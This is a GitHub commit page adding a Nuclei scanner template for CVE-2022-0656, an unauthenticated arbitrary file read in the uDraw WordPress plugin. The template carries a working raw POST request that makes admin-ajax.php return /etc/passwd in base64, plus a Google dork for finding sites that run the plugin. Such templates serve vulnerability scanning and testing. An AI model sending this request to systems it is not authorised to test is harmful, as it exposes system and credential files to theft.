Merge pull request #4802 from projectdiscovery/CVE-2022-0656

Create CVE-2022-0656.yaml
patch-1
Prince Chaddha 2022-07-13 15:16:22 +05:30 committed by GitHub
commit f586c7b8f0
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 37 additions and 0 deletions

View File

@ -0,0 +1,37 @@
id: CVE-2022-0656
info:
name: uDraw < 3.3.3 - Unauthenticated Arbitrary File Access
author: akincibor
severity: high
description: The plugin does not validate the url parameter in its udraw_convert_url_to_base64 AJAX action (available to both unauthenticated and authenticated users) before using it in the file_get_contents function and returning its content base64 encoded in the response. As a result, unauthenticated users could read arbitrary files on the web server (such as /etc/passwd, wp-config.php etc).
reference:
- https://wpscan.com/vulnerability/925c4c28-ae94-4684-a365-5f1e34e6c151
- https://nvd.nist.gov/vuln/detail/CVE-2022-0656
metadata:
verified: true
google-dork: inurl:"/wp-content/plugins/udraw"
tags: cve,cve2022,wp,wordpress,lfi,udraw,wp-plugin,unauth
requests:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=udraw_convert_url_to_base64&url=/etc/passwd
matchers-condition: and
matchers:
- type: word
words:
- "cm9vd" # root in base64
- "data:image\\/;base64"
condition: and
- type: status
status:
- 200